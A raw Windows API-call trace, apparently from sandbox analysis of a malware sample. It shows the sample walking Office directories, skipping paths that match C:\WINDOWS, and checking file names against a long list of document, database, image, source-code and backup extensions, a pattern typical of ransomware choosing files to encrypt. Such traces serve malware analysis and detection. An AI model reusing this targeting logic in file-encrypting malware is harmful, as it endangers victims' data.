[0194.905] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3eb8080 | out: hHeap=0x660000) returned 1 [0194.905] FindNextFileW (in: hFindFile=0x750e90, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fre", cAlternateFileName="")) returned 1 [0194.907] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3eb8080 | out: hHeap=0x660000) returned 1 [0194.907] FindNextFileW (in: hFindFile=0x750e90, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b2abe77, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b2abe77, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 1 [0194.909] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3eb8080 | out: hHeap=0x660000) returned 1 [0194.909] FindNextFileW (in: hFindFile=0x750e90, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2687c83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee308135, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Licenses16", cAlternateFileName="LICENS~1")) returned 1 [0194.936] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3eb8080 | out: hHeap=0x660000) returned 1 [0194.936] FindNextFileW (in: hFindFile=0x750e90, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee45f66d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x983c2c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="loc", cAlternateFileName="")) returned 1 [0194.937] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3f280b0 | out: hHeap=0x660000) returned 1 [0194.937] FindNextFileW (in: hFindFile=0x750e90, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mcxml", cAlternateFileName="")) returned 1 [0195.612] HeapFree (hHeap=0x660000, dwFlags=0x0, lpMem=0x3f380b8) [0195.612] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3f380b8 | out: hHeap=0x660000) returned 1 [0195.612] FindNextFileW (in: hFindFile=0x751010, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99dfc61, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99dfc61, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0195.612] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3f380b8 | out: hHeap=0x660000) returned 1 [0195.612] FindNextFileW (in: hFindFile=0x751010, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99473dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99473dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99473dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0195.612] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3f380b8 | out: hHeap=0x660000) returned 1 [0195.612] FindNextFileW (in: hFindFile=0x751010, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="x-none", cAlternateFileName="")) returned 1 [0195.615] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3f380b8 | out: hHeap=0x660000) returned 1 [0195.615] FindNextFileW (in: hFindFile=0x751010, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="x-none", cAlternateFileName="")) returned 0 [0195.615] FindClose (in: hFindFile=0x751010 | out: hFindFile=0x751010) returned 1 [0195.953] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3f280b0 | out: hHeap=0x660000) returned 1 [0195.953] FindNextFileW (in: hFindFile=0x750e90, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office16", cAlternateFileName="")) returned 1 [0195.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16") returned 47 [0195.954] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Microsoft Office\\root\\Office16") returned 1 [0195.954] lstrlenW (lpString="Office16") returned 8 [0195.954] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Office16") returned -1 [0195.954] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3f280b0 [0195.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16") returned 47 [0195.954] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\*", lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x751250 [0195.954] FindNextFileW (in: hFindFile=0x751250, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.954] FindNextFileW (in: hFindFile=0x751250, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b93a5c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b93a5c4, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0195.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033") returned 52 [0195.954] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033") returned 1 [0195.954] lstrlenW (lpString="1033") returned 4 [0195.954] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="1033") returned 1 [0195.954] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3e90068 [0195.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033") returned 52 [0195.954] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\*", lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b93a5c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b93a5c4, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x751350 [0195.955] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b93a5c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b93a5c4, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0195.955] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x996d62b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x996d62b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3dba42, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACCESS12.ACC", cAlternateFileName="")) returned 1 [0195.955] lstrlenW (lpString="ACCESS12.ACC") returned 12 [0195.955] lstrlenW (lpString=".1cd") returned 4 [0195.955] lstrcmpiW (lpString1=".1cd", lpString2=".ACC") returned -1 [0195.955] lstrlenW (lpString=".3ds") returned 4 [0195.955] lstrcmpiW (lpString1=".3ds", lpString2=".ACC") returned -1 [0195.955] lstrlenW (lpString=".3fr") returned 4 [0195.955] lstrcmpiW (lpString1=".3fr", lpString2=".ACC") returned -1 [0195.955] lstrlenW (lpString=".3g2") returned 4 [0195.955] lstrcmpiW (lpString1=".3g2", lpString2=".ACC") returned -1 [0195.955] lstrlenW (lpString=".3gp") returned 4 [0195.955] lstrcmpiW (lpString1=".3gp", lpString2=".ACC") returned -1 [0195.955] lstrlenW (lpString=".7z") returned 3 [0195.955] lstrcmpiW (lpString1=".7z", lpString2="ACC") returned -1 [0195.955] lstrlenW (lpString=".accda") returned 6 [0195.955] lstrcmpiW (lpString1=".accda", lpString2="12.ACC") returned -1 [0195.955] lstrlenW (lpString=".accdb") returned 6 [0195.955] lstrcmpiW (lpString1=".accdb", lpString2="12.ACC") returned -1 [0195.955] lstrlenW (lpString=".accdc") returned 6 [0195.955] lstrcmpiW (lpString1=".accdc", lpString2="12.ACC") returned -1 [0195.955] lstrlenW (lpString=".accde") returned 6 [0195.955] lstrcmpiW (lpString1=".accde", lpString2="12.ACC") returned -1 [0195.955] lstrlenW (lpString=".accdt") returned 6 [0195.955] lstrcmpiW (lpString1=".accdt", lpString2="12.ACC") returned -1 [0195.955] lstrlenW (lpString=".accdw") returned 6 [0195.955] lstrcmpiW (lpString1=".accdw", lpString2="12.ACC") returned -1 [0195.955] lstrlenW (lpString=".adb") returned 4 [0195.955] lstrcmpiW (lpString1=".adb", lpString2=".ACC") returned 1 [0195.955] lstrlenW (lpString=".adp") returned 4 [0195.955] lstrcmpiW (lpString1=".adp", lpString2=".ACC") returned 1 [0195.955] lstrlenW (lpString=".ai") returned 3 [0195.956] lstrcmpiW (lpString1=".ai", lpString2="ACC") returned -1 [0195.956] lstrlenW (lpString=".ai3") returned 4 [0195.956] lstrcmpiW (lpString1=".ai3", lpString2=".ACC") returned 1 [0195.956] lstrlenW (lpString=".ai4") returned 4 [0195.956] lstrcmpiW (lpString1=".ai4", lpString2=".ACC") returned 1 [0195.956] lstrlenW (lpString=".ai5") returned 4 [0195.956] lstrcmpiW (lpString1=".ai5", lpString2=".ACC") returned 1 [0195.956] lstrlenW (lpString=".ai6") returned 4 [0195.956] lstrcmpiW (lpString1=".ai6", lpString2=".ACC") returned 1 [0195.956] lstrlenW (lpString=".ai7") returned 4 [0195.956] lstrcmpiW (lpString1=".ai7", lpString2=".ACC") returned 1 [0195.956] lstrlenW (lpString=".ai8") returned 4 [0195.956] lstrcmpiW (lpString1=".ai8", lpString2=".ACC") returned 1 [0195.956] lstrlenW (lpString=".anim") returned 5 [0195.956] lstrcmpiW (lpString1=".anim", lpString2="2.ACC") returned -1 [0195.956] lstrlenW (lpString=".arw") returned 4 [0195.956] lstrcmpiW (lpString1=".arw", lpString2=".ACC") returned 1 [0195.956] lstrlenW (lpString=".as") returned 3 [0195.956] lstrcmpiW (lpString1=".as", lpString2="ACC") returned -1 [0195.956] lstrlenW (lpString=".asa") returned 4 [0195.956] lstrcmpiW (lpString1=".asa", lpString2=".ACC") returned 1 [0195.956] lstrlenW (lpString=".asc") returned 4 [0195.956] lstrcmpiW (lpString1=".asc", lpString2=".ACC") returned 1 [0195.956] lstrlenW (lpString=".ascx") returned 5 [0195.956] lstrcmpiW (lpString1=".ascx", lpString2="2.ACC") returned -1 [0195.956] lstrlenW (lpString=".asm") returned 4 [0195.956] lstrcmpiW (lpString1=".asm", lpString2=".ACC") returned 1 [0195.956] lstrlenW (lpString=".asmx") returned 5 [0195.956] lstrcmpiW (lpString1=".asmx", lpString2="2.ACC") returned -1 [0195.956] lstrlenW (lpString=".asp") returned 4 [0195.956] lstrcmpiW (lpString1=".asp", lpString2=".ACC") returned 1 [0195.956] lstrlenW (lpString=".aspx") returned 5 [0195.956] lstrcmpiW (lpString1=".aspx", lpString2="2.ACC") returned -1 [0195.956] lstrlenW (lpString=".asr") returned 4 [0195.956] lstrcmpiW (lpString1=".asr", lpString2=".ACC") returned 1 [0195.956] lstrlenW (lpString=".asx") returned 4 [0195.956] lstrcmpiW (lpString1=".asx", lpString2=".ACC") returned 1 [0195.956] lstrlenW (lpString=".avi") returned 4 [0195.957] lstrcmpiW (lpString1=".avi", lpString2=".ACC") returned 1 [0195.957] lstrlenW (lpString=".avs") returned 4 [0195.957] lstrcmpiW (lpString1=".avs", lpString2=".ACC") returned 1 [0195.957] lstrlenW (lpString=".backup") returned 7 [0195.957] lstrcmpiW (lpString1=".backup", lpString2="S12.ACC") returned -1 [0195.957] lstrlenW (lpString=".bak") returned 4 [0195.957] lstrcmpiW (lpString1=".bak", lpString2=".ACC") returned 1 [0195.957] lstrlenW (lpString=".bay") returned 4 [0195.957] lstrcmpiW (lpString1=".bay", lpString2=".ACC") returned 1 [0195.957] lstrlenW (lpString=".bd") returned 3 [0195.957] lstrcmpiW (lpString1=".bd", lpString2="ACC") returned -1 [0195.957] lstrlenW (lpString=".bin") returned 4 [0195.957] lstrcmpiW (lpString1=".bin", lpString2=".ACC") returned 1 [0195.957] lstrlenW (lpString=".bmp") returned 4 [0195.957] lstrcmpiW (lpString1=".bmp", lpString2=".ACC") returned 1 [0195.957] lstrlenW (lpString=".bz2") returned 4 [0195.957] lstrcmpiW (lpString1=".bz2", lpString2=".ACC") returned 1 [0195.957] lstrlenW (lpString=".c") returned 2 [0195.957] lstrcmpiW (lpString1=".c", lpString2="CC") returned -1 [0195.957] lstrlenW (lpString=".cdr") returned 4 [0195.957] lstrcmpiW (lpString1=".cdr", lpString2=".ACC") returned 1 [0195.957] lstrlenW (lpString=".cer") returned 4 [0195.957] lstrcmpiW (lpString1=".cer", lpString2=".ACC") returned 1 [0195.957] lstrlenW (lpString=".cf") returned 3 [0195.957] lstrcmpiW (lpString1=".cf", lpString2="ACC") returned -1 [0195.957] lstrlenW (lpString=".cfc") returned 4 [0195.957] lstrcmpiW (lpString1=".cfc", lpString2=".ACC") returned 1 [0195.957] lstrlenW (lpString=".cfm") returned 4 [0195.957] lstrcmpiW (lpString1=".cfm", lpString2=".ACC") returned 1 [0195.957] lstrlenW (lpString=".cfml") returned 5 [0195.957] lstrcmpiW (lpString1=".cfml", lpString2="2.ACC") returned -1 [0195.957] lstrlenW (lpString=".cfu") returned 4 [0195.957] lstrcmpiW (lpString1=".cfu", lpString2=".ACC") returned 1 [0195.957] lstrlenW (lpString=".chm") returned 4 [0195.957] lstrcmpiW (lpString1=".chm", lpString2=".ACC") returned 1 [0195.957] lstrlenW (lpString=".cin") returned 4 [0195.957] lstrcmpiW (lpString1=".cin", lpString2=".ACC") returned 1 [0195.958] lstrlenW (lpString=".class") returned 6 [0195.958] lstrcmpiW (lpString1=".class", lpString2="12.ACC") returned -1 [0195.958] lstrlenW (lpString=".clx") returned 4 [0195.958] lstrcmpiW (lpString1=".clx", lpString2=".ACC") returned 1 [0195.958] lstrlenW (lpString=".config") returned 7 [0195.958] lstrcmpiW (lpString1=".config", lpString2="S12.ACC") returned -1 [0195.958] lstrlenW (lpString=".cpp") returned 4 [0195.958] lstrcmpiW (lpString1=".cpp", lpString2=".ACC") returned 1 [0195.958] lstrlenW (lpString=".cr2") returned 4 [0195.958] lstrcmpiW (lpString1=".cr2", lpString2=".ACC") returned 1 [0195.958] lstrlenW (lpString=".crt") returned 4 [0195.958] lstrcmpiW (lpString1=".crt", lpString2=".ACC") returned 1 [0195.958] lstrlenW (lpString=".crw") returned 4 [0195.958] lstrcmpiW (lpString1=".crw", lpString2=".ACC") returned 1 [0195.958] lstrlenW (lpString=".cs") returned 3 [0195.958] lstrcmpiW (lpString1=".cs", lpString2="ACC") returned -1 [0195.958] lstrlenW (lpString=".css") returned 4 [0195.958] lstrcmpiW (lpString1=".css", lpString2=".ACC") returned 1 [0195.958] lstrlenW (lpString=".csv") returned 4 [0195.958] lstrcmpiW (lpString1=".csv", lpString2=".ACC") returned 1 [0195.958] lstrlenW (lpString=".cub") returned 4 [0195.958] lstrcmpiW (lpString1=".cub", lpString2=".ACC") returned 1 [0195.958] lstrlenW (lpString=".dae") returned 4 [0195.958] lstrcmpiW (lpString1=".dae", lpString2=".ACC") returned 1 [0195.958] lstrlenW (lpString=".dat") returned 4 [0195.958] lstrcmpiW (lpString1=".dat", lpString2=".ACC") returned 1 [0195.958] lstrlenW (lpString=".db") returned 3 [0195.958] lstrcmpiW (lpString1=".db", lpString2="ACC") returned -1 [0195.958] lstrlenW (lpString=".dbf") returned 4 [0195.958] lstrcmpiW (lpString1=".dbf", lpString2=".ACC") returned 1 [0195.958] lstrlenW (lpString=".dbx") returned 4 [0195.958] lstrcmpiW (lpString1=".dbx", lpString2=".ACC") returned 1 [0195.958] lstrlenW (lpString=".dc3") returned 4 [0195.958] lstrcmpiW (lpString1=".dc3", lpString2=".ACC") returned 1 [0195.958] lstrlenW (lpString=".dcm") returned 4 [0195.958] lstrcmpiW (lpString1=".dcm", lpString2=".ACC") returned 1 [0195.958] lstrlenW (lpString=".dcr") returned 4 [0195.958] lstrcmpiW (lpString1=".dcr", lpString2=".ACC") returned 1 [0195.959] lstrlenW (lpString=".der") returned 4 [0195.959] lstrcmpiW (lpString1=".der", lpString2=".ACC") returned 1 [0195.959] lstrlenW (lpString=".dib") returned 4 [0195.959] lstrcmpiW (lpString1=".dib", lpString2=".ACC") returned 1 [0195.959] lstrlenW (lpString=".dic") returned 4 [0195.959] lstrcmpiW (lpString1=".dic", lpString2=".ACC") returned 1 [0195.959] lstrlenW (lpString=".dif") returned 4 [0195.959] lstrcmpiW (lpString1=".dif", lpString2=".ACC") returned 1 [0195.959] lstrlenW (lpString=".divx") returned 5 [0195.959] lstrcmpiW (lpString1=".divx", lpString2="2.ACC") returned -1 [0195.959] lstrlenW (lpString=".djvu") returned 5 [0195.959] lstrcmpiW (lpString1=".djvu", lpString2="2.ACC") returned -1 [0195.959] lstrlenW (lpString=".dng") returned 4 [0195.959] lstrcmpiW (lpString1=".dng", lpString2=".ACC") returned 1 [0195.959] lstrlenW (lpString=".doc") returned 4 [0195.959] lstrcmpiW (lpString1=".doc", lpString2=".ACC") returned 1 [0195.959] lstrlenW (lpString=".docm") returned 5 [0195.959] lstrcmpiW (lpString1=".docm", lpString2="2.ACC") returned -1 [0195.959] lstrlenW (lpString=".docx") returned 5 [0195.959] lstrcmpiW (lpString1=".docx", lpString2="2.ACC") returned -1 [0195.959] lstrlenW (lpString=".dot") returned 4 [0195.959] lstrcmpiW (lpString1=".dot", lpString2=".ACC") returned 1 [0195.959] lstrlenW (lpString=".dotm") returned 5 [0195.959] lstrcmpiW (lpString1=".dotm", lpString2="2.ACC") returned -1 [0195.959] lstrlenW (lpString=".dotx") returned 5 [0195.959] lstrcmpiW (lpString1=".dotx", lpString2="2.ACC") returned -1 [0195.959] lstrlenW (lpString=".dpx") returned 4 [0195.959] lstrcmpiW (lpString1=".dpx", lpString2=".ACC") returned 1 [0195.959] lstrlenW (lpString=".dqy") returned 4 [0195.959] lstrcmpiW (lpString1=".dqy", lpString2=".ACC") returned 1 [0195.959] lstrlenW (lpString=".dsn") returned 4 [0195.959] lstrcmpiW (lpString1=".dsn", lpString2=".ACC") returned 1 [0195.959] lstrlenW (lpString=".dt") returned 3 [0195.959] lstrcmpiW (lpString1=".dt", lpString2="ACC") returned -1 [0195.959] lstrlenW (lpString=".dtd") returned 4 [0195.959] lstrcmpiW (lpString1=".dtd", lpString2=".ACC") returned 1 [0195.959] lstrlenW (lpString=".dwg") returned 4 [0195.959] lstrcmpiW (lpString1=".dwg", lpString2=".ACC") returned 1 [0195.960] lstrlenW (lpString=".dwt") returned 4 [0195.960] lstrcmpiW (lpString1=".dwt", lpString2=".ACC") returned 1 [0195.960] lstrlenW (lpString=".dx") returned 3 [0195.960] lstrcmpiW (lpString1=".dx", lpString2="ACC") returned -1 [0195.960] lstrlenW (lpString=".dxf") returned 4 [0195.960] lstrcmpiW (lpString1=".dxf", lpString2=".ACC") returned 1 [0195.960] lstrlenW (lpString=".edml") returned 5 [0195.960] lstrcmpiW (lpString1=".edml", lpString2="2.ACC") returned -1 [0195.960] lstrlenW (lpString=".efd") returned 4 [0195.960] lstrcmpiW (lpString1=".efd", lpString2=".ACC") returned 1 [0195.960] lstrlenW (lpString=".elf") returned 4 [0195.960] lstrcmpiW (lpString1=".elf", lpString2=".ACC") returned 1 [0195.960] lstrlenW (lpString=".emf") returned 4 [0195.960] lstrcmpiW (lpString1=".emf", lpString2=".ACC") returned 1 [0195.960] lstrlenW (lpString=".emz") returned 4 [0195.960] lstrcmpiW (lpString1=".emz", lpString2=".ACC") returned 1 [0195.960] lstrlenW (lpString=".epf") returned 4 [0195.960] lstrcmpiW (lpString1=".epf", lpString2=".ACC") returned 1 [0195.960] lstrlenW (lpString=".eps") returned 4 [0195.960] lstrcmpiW (lpString1=".eps", lpString2=".ACC") returned 1 [0195.960] lstrlenW (lpString=".epsf") returned 5 [0195.960] lstrcmpiW (lpString1=".epsf", lpString2="2.ACC") returned -1 [0195.960] lstrlenW (lpString=".epsp") returned 5 [0195.960] lstrcmpiW (lpString1=".epsp", lpString2="2.ACC") returned -1 [0195.960] lstrlenW (lpString=".erf") returned 4 [0195.960] lstrcmpiW (lpString1=".erf", lpString2=".ACC") returned 1 [0195.960] lstrlenW (lpString=".exr") returned 4 [0195.960] lstrcmpiW (lpString1=".exr", lpString2=".ACC") returned 1 [0195.960] lstrlenW (lpString=".f4v") returned 4 [0195.960] lstrcmpiW (lpString1=".f4v", lpString2=".ACC") returned 1 [0195.960] lstrlenW (lpString=".fido") returned 5 [0195.960] lstrcmpiW (lpString1=".fido", lpString2="2.ACC") returned -1 [0195.960] lstrlenW (lpString=".flm") returned 4 [0195.960] lstrcmpiW (lpString1=".flm", lpString2=".ACC") returned 1 [0195.960] lstrlenW (lpString=".flv") returned 4 [0195.960] lstrcmpiW (lpString1=".flv", lpString2=".ACC") returned 1 [0195.960] lstrlenW (lpString=".frm") returned 4 [0195.960] lstrcmpiW (lpString1=".frm", lpString2=".ACC") returned 1 [0195.961] lstrlenW (lpString=".fxg") returned 4 [0195.961] lstrcmpiW (lpString1=".fxg", lpString2=".ACC") returned 1 [0195.961] lstrlenW (lpString=".geo") returned 4 [0195.961] lstrcmpiW (lpString1=".geo", lpString2=".ACC") returned 1 [0195.961] lstrlenW (lpString=".gif") returned 4 [0195.961] lstrcmpiW (lpString1=".gif", lpString2=".ACC") returned 1 [0195.961] lstrlenW (lpString=".grs") returned 4 [0195.961] lstrcmpiW (lpString1=".grs", lpString2=".ACC") returned 1 [0195.961] lstrlenW (lpString=".gz") returned 3 [0195.961] lstrcmpiW (lpString1=".gz", lpString2="ACC") returned -1 [0195.961] lstrlenW (lpString=".h") returned 2 [0195.961] lstrcmpiW (lpString1=".h", lpString2="CC") returned -1 [0195.961] lstrlenW (lpString=".hdr") returned 4 [0195.961] lstrcmpiW (lpString1=".hdr", lpString2=".ACC") returned 1 [0195.961] lstrlenW (lpString=".hpp") returned 4 [0195.961] lstrcmpiW (lpString1=".hpp", lpString2=".ACC") returned 1 [0195.961] lstrlenW (lpString=".hta") returned 4 [0195.961] lstrcmpiW (lpString1=".hta", lpString2=".ACC") returned 1 [0195.961] lstrlenW (lpString=".htc") returned 4 [0195.961] lstrcmpiW (lpString1=".htc", lpString2=".ACC") returned 1 [0195.961] lstrlenW (lpString=".htm") returned 4 [0195.961] lstrcmpiW (lpString1=".htm", lpString2=".ACC") returned 1 [0195.961] lstrlenW (lpString=".html") returned 5 [0195.961] lstrcmpiW (lpString1=".html", lpString2="2.ACC") returned -1 [0195.961] lstrlenW (lpString=".icb") returned 4 [0195.961] lstrcmpiW (lpString1=".icb", lpString2=".ACC") returned 1 [0195.961] lstrlenW (lpString=".ics") returned 4 [0195.961] lstrcmpiW (lpString1=".ics", lpString2=".ACC") returned 1 [0195.961] lstrlenW (lpString=".iff") returned 4 [0195.961] lstrcmpiW (lpString1=".iff", lpString2=".ACC") returned 1 [0195.961] lstrlenW (lpString=".inc") returned 4 [0195.961] lstrcmpiW (lpString1=".inc", lpString2=".ACC") returned 1 [0195.961] lstrlenW (lpString=".indd") returned 5 [0195.961] lstrcmpiW (lpString1=".indd", lpString2="2.ACC") returned -1 [0195.961] lstrlenW (lpString=".ini") returned 4 [0195.961] lstrcmpiW (lpString1=".ini", lpString2=".ACC") returned 1 [0195.961] lstrlenW (lpString=".iqy") returned 4 [0195.962] lstrcmpiW (lpString1=".iqy", lpString2=".ACC") returned 1 [0195.962] lstrlenW (lpString=".j2c") returned 4 [0195.962] lstrcmpiW (lpString1=".j2c", lpString2=".ACC") returned 1 [0195.962] lstrlenW (lpString=".j2k") returned 4 [0195.962] lstrcmpiW (lpString1=".j2k", lpString2=".ACC") returned 1 [0195.962] lstrlenW (lpString=".java") returned 5 [0195.962] lstrcmpiW 